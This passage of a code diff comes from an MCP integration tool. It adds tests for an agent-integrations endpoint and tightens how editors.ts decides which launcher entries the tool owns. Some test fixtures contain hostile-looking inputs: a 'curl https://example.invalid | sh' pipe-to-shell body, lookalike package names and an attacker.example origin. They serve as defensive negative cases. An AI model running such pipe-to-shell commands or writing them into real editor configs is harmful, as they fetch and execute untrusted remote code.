JSON.stringify(body),+ });+}++beforeAll(async () => {+ server = await createTestServer();+}, HARNESS_BOOT_TIMEOUT_MS);+afterAll(async () => {+ await server.cleanup();+});++describe('agent-integrations apply — a host with no writers injected', () => {+ test('reports every step unwritable rather than failing the request', async () => {+ const res = await apply({ intents: [{ satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' }] });+ expect(res.status).toBe(200);++ const parsed = AgentIntegrationsApplySuccessSchema.safeParse(await res.json());+ expect(parsed.success).toBe(true);+ if (!parsed.success) return;+ const step = parsed.data.actions.find((a) => a.satisfierId === CLAUDE_PROJECT_MCP);+ expect(step?.action).toBe('skipped-unsupported');+ expect(step?.errorId).toBe('no-writer');+ });++ test('answers an empty batch with a snapshot instead of an error', async () => {+ const res = await apply({ intents: [] });+ expect(res.status).toBe(200);++ const parsed = AgentIntegrationsApplySuccessSchema.safeParse(await res.json());+ expect(parsed.success).toBe(true);+ if (!parsed.success) return;+ expect(parsed.data.actions).toEqual([]);+ expect(parsed.data.snapshot.probes.env).toBe('local-web');+ });++ test('names an artifact the registry does not carry as a conflict, not a crash', async () => {+ const res = await apply({ intents: [{ satisfierId: 'nope/mcp/user/x', desired: 'present' }] });+ expect(res.status).toBe(200);++ const parsed = AgentIntegrationsApplySuccessSchema.safeParse(await res.json());+ expect(parsed.success).toBe(true);+ if (!parsed.success) return;+ expect(parsed.data.actions).toEqual([]);+ expect(parsed.data.conflicts.map((c) => c.kind)).toContain('unknown-satisfier');+ });+});++describe('agent-integrations apply — refusals use the shared envelope', () => {+ test('a body with no intents list is refused with problem+json', async () => {+ const res = await apply({});+ expect(res.status).toBe(400);+ expect(res.headers.get('content-type')).toContain('application/problem+json');+ const body = (await res.json()) as { type?: string; status?: number };+ expect(body.type).toMatch(/^urn:ok:error:/);+ expect(body.status).toBe(400);+ });++ test('an intent that names no artifact is refused with problem+json', async () => {+ const res = await apply({ intents: [{ desired: 'present' }] });+ expect(res.status).toBe(400);+ expect(res.headers.get('content-type')).toContain('application/problem+json');+ });++ test('a cross-origin caller is refused before the body is read', async () => {+ const res = await apply(+ { intents: [{ satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' }] },+ { Origin: 'http://attacker.example' },+ );+ expect(res.status).toBe(403);+ const body = (await res.json()) as { type?: string };+ expect(body.type).toBe('urn:ok:error:invalid-origin');+ });+});diff --git a/packages/app/tests/integration/attribution-sweep-coverage.test.ts b/packages/app/tests/integration/attribution-sweep-coverage.test.tsindex 5d45d57bb..7dac8f0d1 100644--- a/packages/app/tests/integration/attribution-sweep-coverage.test.ts+++ b/packages/app/tests/integration/attribution-sweep-coverage.test.ts@@ -99,6 +99,7 @@ const EXEMPT_HANDLERS = new Set(['handleSkillInstall','handleSkillUninstall','handleSkillTargets',+ 'handleAgentIntegrationsApply','handleSkillRestore','handleSkillRevert','handleSkillTrackInGit',diff --git a/packages/app/tests/integration/conflict-gate-coverage.test.ts b/packages/app/tests/integration/conflict-gate-coverage.test.tsindex 0ffb6a79b..8292133fa 100644--- a/packages/app/tests/integration/conflict-gate-coverage.test.ts+++ b/packages/app/tests/integration/conflict-gate-coverage.test.ts@@ -121,6 +121,7 @@ const EXEMPT_HANDLERS = new Set(['handleSkillInstall','handleSkillUninstall','handleSkillTargets',+ 'handleAgentIntegrationsApply','handleSkillRestore','handleSkillRevert','handleSkillsManagement',diff --git a/packages/app/tests/integration/skill-builtin-global-roots.test.ts b/packages/app/tests/integration/skill-builtin-global-roots.test.tsnew file mode 100644index 000000000..2a4566e4f--- /dev/null+++ b/packages/app/tests/integration/skill-builtin-global-roots.test.ts@@ -0,0 +1,60 @@+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { afterAll, beforeAll, describe, expect, test } from 'vitest';+import { HARNESS_BOOT_TIMEOUT_MS } from './harness-boot-timeout';+import { createTestServer, type TestServer } from './test-harness';++let server: TestServer;+let tmpHome: string;+const base = () => `http://127.0.0.1:${server.port}`;++const BUILTIN = 'open-knowledge-discovery';++function seedBuiltin(rootRel: string): void {+ const dir = join(tmpHome, ...rootRel.split('/'), BUILTIN);+ mkdirSync(dir, { recursive: true });+ writeFileSync(+ join(dir, 'SKILL.md'),+ `---\nname: ${BUILTIN}\ndescription: Built-in discovery skill.\n---\n\n# D\n`,+ );+}++beforeAll(async () => {+ tmpHome = mkdtempSync(join(tmpdir(), 'ok-builtin-global-roots-'));+ seedBuiltin('.gemini/skills');+ seedBuiltin('.lmstudio/skills');+ seedBuiltin('.copilot/skills');+ server = await createTestServer({ configHomedirOverride: tmpHome });+}, HARNESS_BOOT_TIMEOUT_MS);++afterAll(async () => {+ await server.cleanup();+ rmSync(tmpHome, { recursive: true, force: true });+});++describe('built-in skills resolve from the user roots at global scope', () => {+ test('its SKILL.md opens — the read resolves through a user-only root', async () => {+ const res = await fetch(`${base()}/api/skill?scope=global&name=${encodeURIComponent(BUILTIN)}`);+ expect(res.status).toBe(200);+ const body = (await res.json()) as { skill?: { name?: string } };+ expect(body.skill?.name).toBe(BUILTIN);+ });++ test('it carries its skills.sh origin, so an Update can be offered', async () => {+ const res = await fetch(`${base()}/api/skills`);+ expect(res.status).toBe(200);+ const body = (await res.json()) as {+ skills?: Array<{+ name: string;+ scope: string;+ hosts?: string[];+ origin?: { source?: string };+ }>;+ };+ const row = body.skills?.find((s) => s.name === BUILTIN && s.scope === 'global');+ expect(row).toBeDefined();+ expect(row?.origin?.source).toBe('inkeep/open-knowledge-skills');+ expect([...(row?.hosts ?? [])].sort()).toEqual(['antigravity', 'copilot', 'lm-studio']);+ });+});diff --git a/packages/app/tests/stress/agents-settings-accessible-names.e2e.ts b/packages/app/tests/stress/agents-settings-accessible-names.e2e.tsnew file mode 100644index 000000000..66f729d67--- /dev/null+++ b/packages/app/tests/stress/agents-settings-accessible-names.e2e.ts@@ -0,0 +1,133 @@+import { AGENT_REGISTRY } from '@inkeep/open-knowledge-core';+import type { Locator, Page } from '@playwright/test';+import { expect, test } from './_helpers';++function connectedApplyBody(): unknown {+ const satisfiers: Record<string, { state: string }> = {};+ for (const agent of Object.values(AGENT_REGISTRY)) {+ for (const satisfier of agent.satisfiers) {+ if (satisfier.probe.mode === 'probeable') satisfiers[satisfier.id] = { state: 'satisfied' };+ }+ }+ return {+ actions: [],+ conflicts: [],+ withheld: [],+ snapshot: {+ probes: { env: 'local-web', satisfiers },+ detection: { detected: Object.keys(AGENT_REGISTRY), probed: true },+ },+ };+}++const CATALOG_BODY = {+ agents: [+ {+ id: 'sweep-alpha',+ name: 'Sweep Alpha',+ version: '1.0.0',+ source: 'registry',+ supported: true,+ featured: false,+ harness: { cli: 'claude', availability: 'present', credentials: 'present' },+ },+ {+ id: 'sweep-beta',+ name: 'Sweep Beta',+ version: '1.0.0',+ source: 'registry',+ supported: true,+ featured: false,+ harness: { cli: 'codex', availability: 'present', credentials: 'present' },+ },+ ],+ stale: true,+ maxThreads: 8,+};++async function openAgentsSettings(page: Page): Promise<Locator> {+ await page.route('**/api/agent-integrations/apply', (route) =>+ route.fulfill({+ status: 200,+ contentType: 'application/json',+ body: JSON.stringify(connectedApplyBody()),+ }),+ );+ await page.route('**/api/acp/catalog', (route) =>+ route.fulfill({+ status: 200,+ contentType: 'application/json',+ body: JSON.stringify(CATALOG_BODY),+ }),+ );++ await page.goto('/#settings/agent-connections');+ const section = page.getByTestId('settings-configure-agents');+ await expect(section).toBeVisible({ timeout: 15_000 });+ await expect(page.getByTestId('agent-connection-lm-studio')).toBeVisible({+ timeout: 15_000,+ });+ return section;+}++async function controlsMissingAccessibleName(section: Locator): Promise<number> {+ const controls = section.getByRole('switch').or(section.getByRole('button'));+ const total = await controls.count();+ let missing = 0;+ for (let index = 0; index < total; index += 1) {+ try {+ await expect(controls.nth(index)).toHaveAccessibleName(/\S/, { timeout: 2_000 });+ } catch {+ missing += 1;+ }+ }+ return missing;+}++test.describe('merged Agents settings — every control keeps a readable label', () => {+ test('every switch and button on the page has a non-empty accessible name', async ({ page }) => {+ const section = await openAgentsSettings(page);++ await expect(section.getByRole('switch').nth(2)).toBeVisible();+ await expect(section.getByRole('button').nth(2)).toBeVisible();++ expect(await controlsMissingAccessibleName(section)).toBe(0);+ });++ test('the sweep goes red when a control label is blanked', async ({ page }) => {+ const section = await openAgentsSettings(page);+ expect(await controlsMissingAccessibleName(section)).toBe(0);++ await section+ .getByRole('button')+ .first()+ .evaluate((element) => {+ element.textContent = '';+ element.removeAttribute('aria-label');+ element.removeAttribute('aria-labelledby');+ element.removeAttribute('title');+ });++ expect(await controlsMissingAccessibleName(section)).toBeGreaterThanOrEqual(1);+ });++ test('no two action buttons share an accessible name', async ({ page }) => {+ const section = await openAgentsSettings(page);+ const buttons = section.getByRole('button');+ await expect(buttons.nth(2)).toBeVisible();++ const names: string[] = [];+ for (let index = 0; index < (await buttons.count()); index += 1) {+ const name = (+ (await buttons.nth(index).getAttribute('aria-label')) ??+ (await buttons.nth(index).textContent()) ??+ ''+ ).trim();+ if (name !== '') names.push(name);+ }++ const duplicated = names.filter((name, index) => names.indexOf(name) !== index);+ expect(duplicated, `duplicate accessible names: ${duplicated.join(', ')}`).toEqual([]);+ expect(names.length).toBeGreaterThanOrEqual(3);+ });+});diff --git a/packages/app/tests/stress/fixtures/handoff-mocks.ts b/packages/app/tests/stress/fixtures/handoff-mocks.tsindex 620e32734..63600cce6 100644--- a/packages/app/tests/stress/fixtures/handoff-mocks.ts+++ b/packages/app/tests/stress/fixtures/handoff-mocks.ts@@ -568,6 +568,17 @@ export async function installHandoffMocks(page: Page, cfg: HandoffMockConfig): P},}),},+ agentIntegrations: {+ apply: async () => ({+ ok: false as const,+ error: 'unavailable in tests',+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: {+ probes: { env: 'desktop' as const, satisfiers: {} },+ detection: { detected: [], probed: false },+ },+ }),+ },remoteAccess: {probePort: async () => true,},diff --git a/packages/cli/scripts/check-published-dts.mjs b/packages/cli/scripts/check-published-dts.mjsindex 84214e85b..2baf936d5 100644--- a/packages/cli/scripts/check-published-dts.mjs+++ b/packages/cli/scripts/check-published-dts.mjs@@ -39,6 +39,7 @@ export const PUBLISHED_SURFACE_BASELINE = {'ALL_EDITOR_IDS','BundleExtraFile','BundleLogger',+ 'CliProbeContext','CollectReportBundleOptions','EDITOR_LABELS','EDITOR_TARGETS',@@ -93,6 +94,7 @@ export const PUBLISHED_SURFACE_BASELINE = {'TokenStore','TrackedRefusal','UserMcpConfigsOptions',+ 'UserSkillWriteResult','addOkPathsToGitExclude','assertProjectPathSafe','buildManagedServerEntry',@@ -100,11 +102,13 @@ export const PUBLISHED_SURFACE_BASELINE = {'buildMcpConfigMigrateEvent','classifyExistingMcpEntry','collectReportBundle',+ 'createCliProbeResolver','createTokenStore','defaultBugReportZipPath','detectGh','detectGhAccounts','detectInstalledEditors',+ 'droppedManagedKeys','editorConfigPathDisplay','editorEntryLocator','ensurePiBridge',@@ -134,15 +138,18 @@ export const PUBLISHED_SURFACE_BASELINE = {'removeOwnMcpEntry','removeProjectSkill','removeUserGlobalSkillBundle',+ 'removeUserSkill','resolveProjectRoot','runStop','truncatePriorEntry','userGlobalSkillBundleTargets',+ 'userSkillPresentAnywhere','validateLocalFolderForShare','writeEditorMcpConfig','writeProjectAiIntegrations','writeProjectSkill','writeUserMcpConfigs',+ 'writeUserSkill',],};diff --git a/packages/cli/src/commands/acp-harness-probe.ts b/packages/cli/src/commands/acp-harness-probe.tsindex c939b64c0..916d62582 100644--- a/packages/cli/src/commands/acp-harness-probe.ts+++ b/packages/cli/src/commands/acp-harness-probe.ts@@ -12,7 +12,7 @@ export interface OwnManagedMcpEntryHit {configPath: string;}-function ownServerMatcherFor(editorId: EditorId): (entry: unknown) => boolean {+export function ownServerMatcherFor(editorId: EditorId): (entry: unknown) => boolean {if (editorId === 'opencode') return openCodeEntryRunsOwnManagedServer;return entryRunsOwnManagedServer;}diff --git a/packages/cli/src/commands/editors.test.ts b/packages/cli/src/commands/editors.test.tsindex da9f972ff..60e17db6e 100644--- a/packages/cli/src/commands/editors.test.ts+++ b/packages/cli/src/commands/editors.test.ts@@ -360,7 +360,7 @@ describe('EDITOR_TARGETS.pi', () => {expect(t.format).toBe('file');expect(t.scope).toBe('project');expect(() => t.configPath('', '/Users/alice')).toThrow(/no user-global MCP config/);- expect(() => t.buildEntry('', { mode: 'published' })).toThrow(/buildPiExtensionSource/);+ expect(t.buildEntry).toBeUndefined();});it('project paths target OK-owned artifacts under .pi/', () => {@@ -557,6 +557,21 @@ describe('isEntryUpToDate', () => {expect(isEntryUpToDate(drifted)).toBe(true);});+ it('false when the sentinel is mentioned mid-body instead of opening it', () => {+ expect(+ isEntryUpToDate({+ command: '/bin/sh',+ args: ['-l', '-c', `curl https://example.invalid | sh ${CHAIN_VERSION_SENTINEL}`],+ }),+ ).toBe(false);+ expect(+ isEntryUpToDate({+ command: '/bin/sh',+ args: ['-l', '-c', `echo '${CHAIN_VERSION_SENTINEL}'\nexit 0`],+ }),+ ).toBe(false);+ });+it('false for the legacy bare-npx shape', () => {expect(isEntryUpToDate({@@ -1013,3 +1028,158 @@ describe('editorConfigPathDisplay', () => {expect(editorConfigPathDisplay(EDITOR_TARGETS.pi, '/home/u')).toBeNull();});});++describe('entryRunsOwnManagedServer is anchored to the opening marker', () => {+ it('a foreign command that mentions the marker mid-body is not ours', async () => {+ const { entryRunsOwnManagedServer, openCodeEntryRunsOwnManagedServer } = await import(+ './editors.ts'+ );+ const body = 'curl https://example.invalid | sh # ok-mcp';+ expect(entryRunsOwnManagedServer({ command: '/bin/sh', args: ['-l', '-c', body] })).toBe(false);+ expect(+ openCodeEntryRunsOwnManagedServer({ type: 'local', command: ['/bin/sh', '-l', '-c', body] }),+ ).toBe(false);+ });++ it('every launcher shape OpenKnowledge writes is still ours', async () => {+ const { entryRunsOwnManagedServer, openCodeEntryRunsOwnManagedServer } = await import(+ './editors.ts'+ );+ expect(entryRunsOwnManagedServer(buildManagedServerEntry({ mode: 'published' }))).toBe(true);+ expect(+ entryRunsOwnManagedServer({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v1\nexit 127'],+ }),+ ).toBe(true);+ expect(+ openCodeEntryRunsOwnManagedServer({+ type: 'local',+ command: ['/bin/sh', '-l', '-c', '# ok-mcp-v2\nexec ok mcp'],+ }),+ ).toBe(true);+ });+});++describe('entryCarriesOwnChain is anchored to how OpenKnowledge launches', () => {+ it('a shell body that opens with the chain marker is ours', async () => {+ const { entryCarriesOwnChain } = await import('./editors.ts');+ expect(+ entryCarriesOwnChain({ command: '/bin/sh', args: ['-l', '-c', '# ok-mcp-v1\nexit 127'] }),+ ).toBe(true);+ expect(+ entryCarriesOwnChain({ command: ['/bin/sh', '-l', '-c', '# ok-mcp-v2\nexec ok mcp'] }),+ ).toBe(true);+ expect(+ entryCarriesOwnChain({+ command: 'powershell',+ args: ['-NoProfile', '-NonInteractive', '-Command', '# ok-mcp-win-v1\nexit 1'],+ }),+ ).toBe(true);+ });++ it('the published package spec as its own argv token is ours', async () => {+ const { entryCarriesOwnChain } = await import('./editors.ts');+ expect(+ entryCarriesOwnChain({+ command: 'npx',+ args: ['-y', '@inkeep/open-knowledge@latest', 'mcp'],+ }),+ ).toBe(true);+ expect(+ entryCarriesOwnChain({ command: 'npx', args: ['-y', '@inkeep/open-knowledge', 'mcp'] }),+ ).toBe(true);+ });++ it('a foreign command that merely mentions the marker or the package is not ours', async () => {+ const { entryCarriesOwnChain } = await import('./editors.ts');+ expect(+ entryCarriesOwnChain({+ command: '/bin/sh',+ args: ['-l', '-c', 'echo "# ok-mcp" && curl https://example.invalid | sh'],+ }),+ ).toBe(false);+ expect(+ entryCarriesOwnChain({+ command: 'node',+ args: ['/srv/@inkeep/open-knowledge-fake/index.js'],+ }),+ ).toBe(false);+ expect(+ entryCarriesOwnChain({+ command: 'npx',+ args: ['-y', '@inkeep/open-knowledge-evil@1', 'mcp'],+ }),+ ).toBe(false);+ expect(+ entryCarriesOwnChain({+ command: 'curl',+ args: ['https://example.invalid/@inkeep/open-knowledge'],+ }),+ ).toBe(false);+ });+});++describe('isOwnDevEntry', () => {+ it('recognises the dev launcher OpenKnowledge writes for itself and nothing else', async () => {+ const { isOwnDevEntry } = await import('./editors.ts');+ const savedEntry = process.argv[1];+ process.argv[1] = join(tmpdir(), 'ok-dev-repo', 'packages', 'cli', 'src', 'cli.ts');+ try {+ expect(isOwnDevEntry(buildManagedServerEntry({ mode: 'dev' }))).toBe(true);+ expect(isOwnDevEntry(buildManagedServerEntry({ mode: 'published' }))).toBe(false);+ expect(isOwnDevEntry({ command: 'node', args: ['/elsewhere/cli.mjs', 'mcp'] })).toBe(false);+ expect(isOwnDevEntry(null)).toBe(false);+ } finally {+ process.argv[1] = savedEntry;+ }+ });++ it('is false rather than throwing when no repo checkout can be inferred', async () => {+ const { isOwnDevEntry } = await import('./editors.ts');+ const savedEntry = process.argv[1];+ process.argv[1] = '/usr/local/lib/node_modules/some-host/bin/host.js';+ try {+ expect(isOwnDevEntry({ command: 'node', args: ['/x/dist/cli.mjs', 'mcp'] })).toBe(false);+ } finally {+ process.argv[1] = savedEntry;+ }+ });+});++describe('entryCarriesDroppedManagedKey', () => {+ it('is true only when the existing entry carries a managed key the canonical entry omits', async () => {+ const { entryCarriesDroppedManagedKey, droppedManagedKeys } = await import('./editors.ts');+ const canonical = buildManagedServerEntry({ mode: 'published' });+ expect(droppedManagedKeys({ ...canonical, env: { A: '1' } }, canonical)).toEqual(['env']);+ expect(entryCarriesDroppedManagedKey({ ...canonical, env: { A: '1' } }, canonical)).toBe(true);+ expect(entryCarriesDroppedManagedKey({ ...canonical, cwd: '/srv/notes' }, canonical)).toBe(+ false,+ );+ expect(entryCarriesDroppedManagedKey({ ...canonical, env: {} }, canonical)).toBe(true);+ expect(entryCarriesDroppedManagedKey({ ...canonical, env: null }, canonical)).toBe(true);+ expect(entryCarriesDroppedManagedKey(canonical, canonical)).toBe(false);+ expect(entryCarriesDroppedManagedKey('nope', canonical)).toBe(false);+ });++ it('reads the OpenCode key set for an OpenCode canonical entry', async () => {+ const { entryCarriesDroppedManagedKey } = await import('./editors.ts');+ const canonical = { type: 'local', command: ['/bin/sh', '-l', '-c', CHAIN_V2] };+ expect(+ entryCarriesDroppedManagedKey({ ...canonical, environment: { A: '1' } }, canonical),+ ).toBe(true);+ expect(entryCarriesDroppedManagedKey({ ...canonical, enabled: false }, canonical)).toBe(false);+ });++ it('never flags a dev canonical entry for the env it writes itself', async () => {+ const { entryCarriesDroppedManagedKey } = await import('./editors.ts');+ const savedEntry = process.argv[1];+ process.argv[1] = join(tmpdir(), 'ok-dev-repo', 'packages', 'cli', 'src', 'cli.ts');+ try {+ const dev = buildManagedServerEntry({ mode: 'dev' });+ expect(entryCarriesDroppedManagedKey(dev, dev)).toBe(false);+ } finally {+ process.argv[1] = savedEntry;+ }+ });+});diff --git a/packages/cli/src/commands/editors.ts b/packages/cli/src/commands/editors.tsindex 20d13b60b..5ef129791 100644--- a/packages/cli/src/commands/editors.ts+++ b/packages/cli/src/commands/editors.ts@@ -8,6 +8,7 @@ import {type EditorId as CoreEditorId,} from '@inkeep/open-knowledge-core';import { MCP_SERVER_NAME } from '@inkeep/open-knowledge-server';+import { getTomlConfigEngine } from '../native/toml-config-engine.ts';export type EditorId = CoreEditorId;export const ALL_EDITOR_IDS: readonly EditorId[] = CORE_ALL_EDITOR_IDS;@@ -40,6 +41,8 @@ export const CHAIN_WIN_VERSION_SENTINEL = '# ok-mcp-win-v1';const OK_MCP_CHAIN_MARKER = '# ok-mcp';+const OK_PACKAGE_SPEC = '@inkeep/open-knowledge';+export const CHAIN_WIN_V1 = `# ok-mcp-win-v1if ($env:PATHEXT -notmatch 'CMD') { $env:PATHEXT = '.COM;.EXE;.BAT;.CMD;' + $env:PATHEXT }if ($env:APPDATA) {@@ -78,6 +81,8 @@ export interface McpInstallOptions {mode?: McpInstallMode;platformName?: NodeJS.Platform;skipAvailabilityCheck?: boolean;+ replaceEntry?: boolean;+ pruneOnly?: boolean;home?: string;}@@ -89,7 +94,7 @@ export function isEntryUpToDate(entry: unknown): boolean {if (!Array.isArray(e.args)) return false;if (e.args[0] !== '-l' || e.args[1] !== '-c') return false;const body = e.args[2];- return typeof body === 'string' && body.includes(CHAIN_VERSION_SENTINEL);+ return scriptBodyOpensWith(body, CHAIN_VERSION_SENTINEL);}if (e.command === 'powershell') {@@ -98,14 +103,14 @@ export function isEntryUpToDate(entry: unknown): boolean {return false;}const body = e.args[3];- return typeof body === 'string' && body.includes(CHAIN_WIN_VERSION_SENTINEL);+ return scriptBodyOpensWith(body, CHAIN_WIN_VERSION_SENTINEL);}if (e.type === 'local' && Array.isArray(e.command)) {if (e.command[0] === '/bin/sh') {if (e.command[1] !== '-l' || e.command[2] !== '-c') return false;const body = e.command[3];- return typeof body === 'string' && body.includes(CHAIN_VERSION_SENTINEL);+ return scriptBodyOpensWith(body, CHAIN_VERSION_SENTINEL);}if (e.command[0] === 'powershell') {if (@@ -116,7 +121,7 @@ export function isEntryUpToDate(entry: unknown): boolean {return false;}const body = e.command[4];- return typeof body === 'string' && body.includes(CHAIN_WIN_VERSION_SENTINEL);+ return scriptBodyOpensWith(body, CHAIN_WIN_VERSION_SENTINEL);}return false;}@@ -237,8 +242,7 @@ function commandArgsMatchCanonical(}function chainArgvRunsOwnManagedServer(argv: unknown[], interpreter: string): boolean {- const bodyIsOk = (body: unknown): boolean =>- typeof body === 'string' && body.includes(OK_MCP_CHAIN_MARKER);+ const bodyIsOk = (body: unknown): boolean => scriptBodyOpensWithMarker(body);if (interpreter === '/bin/sh') {return argv[0] === '-l' && argv[1] === '-c' && bodyIsOk(argv[2]);}@@ -253,6 +257,86 @@ function chainArgvRunsOwnManagedServer(argv: unknown[], interpreter: string): boreturn false;}+export function writerReplacesForeignEntry(target: Pick<EditorMcpTarget, 'format'>): boolean {+ if (target.format === 'toml') return getTomlConfigEngine().backend === 'native';+ return target.format === 'json' || target.format === 'yaml';+}++function launchArgv(entry: Record<string, unknown>): unknown[] {+ if (Array.isArray(entry.command)) return entry.command;+ return [entry.command, ...(Array.isArray(entry.args) ? entry.args : [])];+}++function scriptBodyOpensWith(value: unknown, sentinel: string): boolean {+ return typeof value === 'string' && value.trimStart().startsWith(sentinel);+}++function scriptBodyOpensWithMarker(value: unknown): boolean {+ return scriptBodyOpensWith(value, OK_MCP_CHAIN_MARKER);+}++function isOwnPackageSpec(value: unknown): boolean {+ return (+ typeof value === 'string' &&+ (value === OK_PACKAGE_SPEC || value.startsWith(`${OK_PACKAGE_SPEC}@`))+ );+}++export function entryCarriesOwnChain(entry: unknown): boolean {+ if (typeof entry !== 'object' || entry === null) return false;+ const argv = launchArgv(entry as Record<string, unknown>);+ const scriptFlag = argv.findIndex((token) => token === '-c' || token === '-Command');+ if (scriptFlag >= 0 && scriptBodyOpensWithMarker(argv[scriptFlag + 1])) return true;+ return argv.some(isOwnPackageSpec);+}++export function isOwnDevEntry(entry: unknown): boolean {+ if (typeof entry !== 'object' || entry === null) return false;+ const argv = launchArgv(entry as Record<string, unknown>);+ if (argv[0] !== DEV_MCP_SERVER_COMMAND || argv[2] !== 'mcp') return false;+ try {+ return argv[1] === resolveDevCliDistPath();+ } catch {+ return false;+ }+}++const STANDARD_MANAGED_ENTRY_KEYS = ['command', 'args', 'env'] as const;+const OPENCODE_MANAGED_ENTRY_KEYS = ['type', 'command', 'environment'] as const;++export function managedEntryKeys(entry: Record<string, unknown>): readonly string[] {+ return entry.type === 'local' && Array.isArray(entry.command)+ ? OPENCODE_MANAGED_ENTRY_KEYS+ : STANDARD_MANAGED_ENTRY_KEYS;+}++type ManagedEntry = ReturnType<NonNullable<EditorMcpTarget['buildEntry']>>;++export function droppedManagedKeys(+ existing: object | null | undefined,+ canonical: ManagedEntry,+): readonly string[] {+ if (typeof existing !== 'object' || existing === null) return [];+ const e = existing as Record<string, unknown>;+ return managedEntryKeys(canonical).filter(+ (key) => canonical[key] === undefined && e[key] !== undefined,+ );+}++export function canonicalEntryFor(+ target: EditorMcpTarget,+ cwd: string,+): Record<string, unknown> | null {+ return target.format === 'file' ? null : target.buildEntry(cwd, {});+}++export function entryCarriesDroppedManagedKey(+ existing: object | null | undefined,+ canonical: ManagedEntry,+): boolean {+ return droppedManagedKeys(existing, canonical).length > 0;+}+export function entryRunsOwnManagedServer(entry: unknown): boolean {if (typeof entry !== 'object' || entry === null) return false;const e = entry as Record<string, unknown>;@@ -432,22 +516,32 @@ export function resolveLmStudioConfigPath(options: AppSupportOptions = {}): strireturn documented.file;}-export interface EditorMcpTarget {+interface EditorMcpTargetBase {id: EditorId;label: string;configPath: (cwd: string, home?: string) => string;- format: 'json' | 'toml' | 'yaml' | 'file';topLevelKey: 'mcpServers' | 'servers' | 'mcp_servers' | 'mcp';serverMapSubKey?: string;offerOnlyWhenDetected?: boolean;serverName: (cwd: string) => string;- buildEntry: (cwd: string, options?: McpInstallOptions) => Record<string, unknown>;scope: 'project' | 'global';detectPath?: (cwd: string, home?: string) => string;projectConfigPath?: (cwd: string) => string;projectSkillPath?: (cwd: string) => string;}+interface ManagedFileEditorTarget extends EditorMcpTargetBase {+ format: 'file';+ buildEntry?: undefined;+}++interface EntryEditorTarget extends EditorMcpTargetBase {+ format: 'json' | 'toml' | 'yaml';+ buildEntry: (cwd: string, options?: McpInstallOptions) => Record<string, unknown>;+}++export type EditorMcpTarget = ManagedFileEditorTarget | EntryEditorTarget;+export function editorEntryLocator(target: EditorMcpTarget): string {const server = target.serverName('');return target.format === 'toml'@@ -565,11 +659,6 @@ export const EDITOR_TARGETS: Record<EditorId, EditorMcpTarget> = {format: 'file',topLevelKey: 'mcpServers',serverName: () => MCP_SERVER_NAME,- buildEntry: () => {- throw new Error(- 'Pi has no MCP entry shape; the managed bridge file is built by buildPiExtensionSource (integrations/pi-extension.ts).',- );- },scope: 'project',detectPath: (_cwd, home) => resolvePiAgentDirPath({ home }),projectConfigPath: (cwd) => join(cwd, '.pi', 'extensions', 'open-knowledge.ts'),diff --git a/packages/cli/src/commands/init.test.ts b/packages/cli/src/commands/init.test.tsindex 2b4888a6f..331d9e1d3 100644--- a/packages/cli/src/commands/init.test.ts+++ b/packages/cli/src/commands/init.test.ts@@ -135,6 +135,18 @@ describe('runInit', () => {rmSync(testDir, { recursive: true, force: true });});+ it('drains the retired project-skill block from an existing .gitignore, keeping user lines', async () => {+ writeFileSync(+ join(testDir, '.gitignore'),+ 'node_modules/\n.claude/skills/open-knowledge/\n.cursor/skills/open-knowledge/\n',+ 'utf-8',+ );++ await runInitForTest({ mcp: false });++ expect(readFileSync(join(testDir, '.gitignore'), 'utf-8')).toBe('node_modules/\n');+ });+it('scaffolds .ok/ and writes a fresh global Claude config', async () => {const result = await runInitForTest();@@ -224,7 +236,7 @@ describe('runInit', () => {expect(config.mcpServers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);});- it('preserves user-added fields while updating the managed launcher', async () => {+ it('keeps user-added fields but drops env while updating the managed launcher', async () => {writeFileSync(claudeConfigPath(),JSON.stringify(@@ -251,7 +263,6 @@ describe('runInit', () => {expect(config.mcpServers['open-knowledge']).toEqual({...PUBLISHED_CHAIN_ENTRY,cwd: testDir,- env: { OK_MODE: 'local' },});});@@ -278,10 +289,7 @@ describe('runInit', () => {expect(result.editors[0].action).toBe('overwritten');const config = JSON.parse(readFileSync(claudeConfigPath(), 'utf-8'));- expect(config.mcpServers['open-knowledge']).toEqual({- command: expectedDevMcpEntry().command,- args: expectedDevMcpEntry().args,- });+ expect(config.mcpServers['open-knowledge']).toEqual(expectedDevMcpEntry());});it('does not touch ~/.claude.json when --no-mcp is passed', async () => {@@ -1173,7 +1181,7 @@ describe('runInit', () => {expect(output).toContain(`Seeded .gitignore at ${testDir}/.gitignore (.DS_Store)`);});- it('pre-existing .git/ → preserves a hand-authored .gitignore but appends the always-excluded project-skill block', async () => {+ it('pre-existing .git/ → leaves a hand-authored .gitignore completely alone', async () => {mkdirSync(join(testDir, '.git'));writeFileSync(join(testDir, '.git/HEAD'), 'ref: refs/heads/main\n');const original = '# user-authored\nnode_modules/\n';@@ -1185,13 +1193,10 @@ describe('runInit', () => {expect(result.rootGitignoreCreated).toBe(false);const output = formatInitResult(result, testDir);expect(output).not.toContain('Seeded .gitignore');- const after = readFileSync(join(testDir, '.gitignore'), 'utf-8');- expect(after.startsWith(original)).toBe(true);- expect(after).toContain('.claude/skills/open-knowledge/');- expect(after).toContain('.pi/skills/open-knowledge/');+ expect(readFileSync(join(testDir, '.gitignore'), 'utf-8')).toBe(original);});- it('fresh tmpdir WITH a pre-existing .gitignore → .DS_Store seed skipped, project-skill block appended', async () => {+ it('fresh tmpdir WITH a pre-existing .gitignore → .DS_Store seed skipped, file untouched', async () => {const original = 'secrets.env\n';writeFileSync(join(testDir, '.gitignore'), original, 'utf-8');@@ -1199,9 +1204,7 @@ describe('runInit', () => {expect(result.didGitInit).toBe(true);expect(result.rootGitignoreCreated).toBe(false);- const after = readFileSync(join(testDir, '.gitignore'), 'utf-8');- expect(after.startsWith(original)).toBe(true);- expect(after).toContain('.claude/skills/open-knowledge/');+ expect(readFileSync(join(testDir, '.gitignore'), 'utf-8')).toBe(original);const output = formatInitResult(result, testDir);expect(output).not.toContain('Seeded .gitignore');});@@ -1325,7 +1328,7 @@ describe('runInit', () => {join(fakeHome, '.copilot', 'mcp-config.json'),JSON.stringify({mcpServers: {- 'open-knowledge': { command: 'custom-ok', args: ['mcp'] },+ 'open-knowledge': { 